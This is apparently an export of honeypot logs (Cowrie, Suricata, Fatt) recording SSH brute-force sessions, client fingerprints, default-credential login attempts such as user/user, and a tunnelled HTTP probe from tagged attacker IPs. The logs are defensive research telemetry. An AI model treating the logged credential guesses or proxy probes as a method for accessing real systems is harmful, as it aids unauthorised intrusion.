28922	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:22:04.486192+03	2021-09-20 14:30:03.454554+03	{"_id": "XQbxAnwBvYTbRNuEDzLI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 0, "data": "b'GET /multi/checkref.php HTTP/1.1\\\\r\\\\nHost: 69.195.128.18\\\\r\\\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt\\\\\\\\)\\\\r\\\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\\\\r\\\\nAccept-Language: en-US\\\\r\\\\nConnection: TE, close\\\\r\\\\nReferer: http://1632136923.com/\\\\r\\\\nTe: deflate,gzip;q=0.3\\\\r\\\\n\\\\r\\\\n'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "69.195.128.18", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 0 to 69.195.128.18:80 with data b'GET /multi/checkref.php HTTP/1.1\\\\r\\\\nHost: 69.195.128.18\\\\r\\\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt\\\\\\\\)\\\\r\\\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\\\\r\\\\nAccept-Language: en-US\\\\r\\\\nConnection: TE, close\\\\r\\\\nReferer: http://1632136923.com/\\\\r\\\\nTe: deflate,gzip;q=0.3\\\\r\\\\n\\\\r\\\\n'", "session": "3c5791bb365c", "@version": "1", "dest_port": 80, "timestamp": "2021-09-20T11:22:04.486192Z", "@timestamp": "2021-09-20T11:22:04.486Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
28923	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:22:04.063781+03	2021-09-20 14:30:03.456556+03	{"_id": "XgbxAnwBvYTbRNuEDzLI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "3c5791bb365c", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:22:04.063781Z", "@timestamp": "2021-09-20T11:22:04.063Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28924	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:22:04.125923+03	2021-09-20 14:30:03.457523+03	{"_id": "XwbxAnwBvYTbRNuEDzLI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "3c5791bb365c", "@version": "1", "timestamp": "2021-09-20T11:22:04.125923Z", "@timestamp": "2021-09-20T11:22:04.125Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
28925	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:22:01.479949+03	2021-09-20 14:30:03.458523+03	{"_id": "RQbxAnwBvYTbRNuEBDIQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:45064 (192.168.176.2:22) [session: 9b521f1ad634]", "session": "9b521f1ad634", "@version": "1", "protocol": "ssh", "src_port": 45064, "dest_port": 22, "timestamp": "2021-09-20T11:22:01.479949Z", "@timestamp": "2021-09-20T11:22:01.479Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28926	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:22:01.657704+03	2021-09-20 14:30:03.459553+03	{"_id": "SQbxAnwBvYTbRNuEBDIQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "9b521f1ad634", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:22:01.657704Z", "@timestamp": "2021-09-20T11:22:01.657Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28927	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:22:01.834925+03	2021-09-20 14:30:03.460554+03	{"_id": "SgbxAnwBvYTbRNuEBDIQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "9b521f1ad634", "@version": "1", "timestamp": "2021-09-20T11:22:01.834925Z", "@timestamp": "2021-09-20T11:22:01.834Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28928	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:22:01.657462+03	2021-09-20 14:30:03.462554+03	{"_id": "TQbxAnwBvYTbRNuEBTLF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 1172343247970489, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 45064, "dest_port": 22, "timestamp": "2021-09-20T11:22:01.657462Z", "@timestamp": "2021-09-20T11:22:01.657Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28929	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:22:01.834319+03	2021-09-20 14:30:03.464525+03	{"_id": "TwbxAnwBvYTbRNuEBzIA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 45064, "dest_port": 22, "timestamp": "2021-09-20T11:22:01.834319", "@timestamp": "2021-09-20T11:22:01.834Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28930	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:22:02.637354+03	2021-09-20 14:30:03.466524+03	{"_id": "UAbxAnwBvYTbRNuEBzL4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [cosmo/cosmo] failed", "session": "9b521f1ad634", "@version": "1", "password": "cosmo", "username": "cosmo", "timestamp": "2021-09-20T11:22:02.637354Z", "@timestamp": "2021-09-20T11:22:02.637Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28931	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:22:03.817402+03	2021-09-20 14:30:03.467523+03	{"_id": "UQbxAnwBvYTbRNuECzLg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "9b521f1ad634", "@version": "1", "duration": 2.334888458251953, "timestamp": "2021-09-20T11:22:03.817402Z", "@timestamp": "2021-09-20T11:22:03.817Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28932	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:22:04.125124+03	2021-09-20 14:30:03.469523+03	{"_id": "UgbxAnwBvYTbRNuEDTKW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 69713474042744, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51768, "dest_port": 22, "timestamp": "2021-09-20T11:22:04.125124Z", "@timestamp": "2021-09-20T11:22:04.125Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28933	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:22:04.065958+03	2021-09-20 14:30:03.470524+03	{"_id": "UwbxAnwBvYTbRNuEDjLR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51768, "timestamp": "2021-09-20T11:22:04.065958", "@timestamp": "2021-09-20T11:22:04.065Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28934	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:22:04.060976+03	2021-09-20 14:30:03.472524+03	{"_id": "WwbxAnwBvYTbRNuEDzLI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:51768 (192.168.176.2:22) [session: 3c5791bb365c]", "session": "3c5791bb365c", "@version": "1", "protocol": "ssh", "src_port": 51768, "dest_port": 22, "timestamp": "2021-09-20T11:22:04.060976Z", "@timestamp": "2021-09-20T11:22:04.060Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28935	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:22:04.353604+03	2021-09-20 14:30:03.473524+03	{"_id": "XAbxAnwBvYTbRNuEDzLI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.success", "message": "login attempt [user/user] succeeded", "session": "3c5791bb365c", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:22:04.353604Z", "@timestamp": "2021-09-20T11:22:04.353Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
28936	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:22:17.605859+03	2021-09-20 14:30:03.475524+03	{"_id": "fQbxAnwBvYTbRNuEQjKT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 36.27.214.211:54470 (192.168.176.2:22) [session: ade7b97131f6]", "session": "ade7b97131f6", "@version": "1", "protocol": "ssh", "src_port": 54470, "dest_port": 22, "timestamp": "2021-09-20T11:22:17.605859Z", "@timestamp": "2021-09-20T11:22:17.605Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28937	36.27.214.211	109.199.241.180	Suricata	2021-09-20 14:22:17.910595+03	2021-09-20 14:30:03.476524+03	{"_id": "gAbxAnwBvYTbRNuERDJP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:22:17.304404+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2180041360909588, "payload": "AAADzAYUrCnHC0OuKjG1+KfaPv5IpwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54470, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:22:17.910595Z", "@timestamp": "2021-09-20T11:22:17.910Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......)..C.*1....>.H....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
